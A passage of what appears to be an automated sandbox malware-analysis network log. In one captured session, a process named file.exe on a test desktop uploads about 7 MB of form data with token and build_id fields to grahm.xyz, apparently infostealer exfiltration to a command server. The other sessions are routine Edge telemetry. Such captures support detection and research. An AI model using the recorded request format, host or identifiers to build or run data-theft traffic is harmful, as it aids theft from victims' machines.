2024-12-12 15:47:14 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:14 UTC	717	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:16 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 12 Dec 2024 15:47:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-12 15:47:16 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49826	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:16 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----26XBS2DTRQIEUAIMGDJM User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 6990993 Connection: Keep-Alive Cache-Control: no-cache
2024-12-12 15:47:16 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 36 58 42 53 32 44 54 52 51 49 45 55 41 49 4d 47 44 4a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 65 65 37 63 36 39 64 39 39 64 65 62 64 33 33 38 37 66 32 33 34 39 66 66 66 35 62 33 38 64 0d 0a 2d 2d 2d 2d 2d 2d 32 36 58 42 53 32 44 54 52 51 49 45 55 41 49 4d 47 44 4a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 66 61 63 30 62 36 32 38 36 35 39 32 36 62 65 39 66 34 36 62 62 32 39 37 30 33 38 38 35 32 39 61 0d 0a 2d 2d 2d 2d 2d 2d 32 36 58 42 53 32 44 54 52 51 49 45 55 41 49 4d 47 44 4a 4d 0d 0a 43 6f 6e 74 Data Ascii: ------26XBS2DTRQIEUAIMGDJMContent-Disposition: form-data; name="token"20ee7c69d99debd3387f2349fff5b38d------26XBS2DTRQIEUAIMGDJMContent-Disposition: form-data; name="build_id"fac0b62865926be9f46bb2970388529a------26XBS2DTRQIEUAIMGDJMCont
2024-12-12 15:47:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-12 15:47:16 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49829	18.238.49.124	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:16 UTC	925	OUT	GET /b?rn=1734018433237&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B4728EAA4386D50161A3DB9A5116C1A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-12 15:47:16 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Thu, 12 Dec 2024 15:47:16 GMT Location: /b2?rn=1734018433237&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B4728EAA4386D50161A3DB9A5116C1A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1BF3b61c31387b2525a164a1734018436; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1BF3b61c31387b2525a164a1734018436; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 145a3c1a881b9a37bb761d4b0890859a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: mPV99UlHTDd4Z7y1wy02So87c0ar_QOsBPV9qglJYBqsxDDtChgpRA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49828	20.110.205.119	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:16 UTC	1175	OUT	GET /c.gif?rnd=1734018433237&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f97ea5676140412c82d619797299a18f&activityId=f97ea5676140412c82d619797299a18f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2B4728EAA4386D50161A3DB9A5116C1A; _EDGE_S=F=1&SID=296938534AFC602A3AA42D004BC6615B; _EDGE_V=1
2024-12-12 15:47:16 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1734018433237&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f97ea5676140412c82d619797299a18f&activityId=f97ea5676140412c82d619797299a18f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=E7586DD3E35E40A1862570F7C55DE2B3&RedC=c.msn.com&MXFR=2B4728EAA4386D50161A3DB9A5116C1A Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=2B4728EAA4386D50161A3DB9A5116C1A; domain=.msn.com; expires=Tue, 06-Jan-2026 15:47:16 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Thu, 12 Dec 2024 15:47:16 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49827	20.189.173.5	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:16 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734018433235&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3782 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2B4728EAA4386D50161A3DB9A5116C1A; _EDGE_S=F=1&SID=296938534AFC602A3AA42D004BC6615B; _EDGE_V=1
2024-12-12 15:47:16 UTC	3782	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 31 32 54 31 35 3a 34 37 3a 31 33 2e 32 33 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 35 61 61 62 35 38 30 2d 63 34 63 66 2d 34 32 38 31 2d 38 35 34 30 2d 61 30 37 64 36 31 39 65 31 37 63 61 22 2c 22 65 70 6f 63 68 22 3a 22 31 38 37 30 33 39 30 36 35 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-12-12T15:47:13.231Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"b5aab580-c4cf-4281-8540-a07d619e17ca","epoch":"1870390653"},"app":{"locale
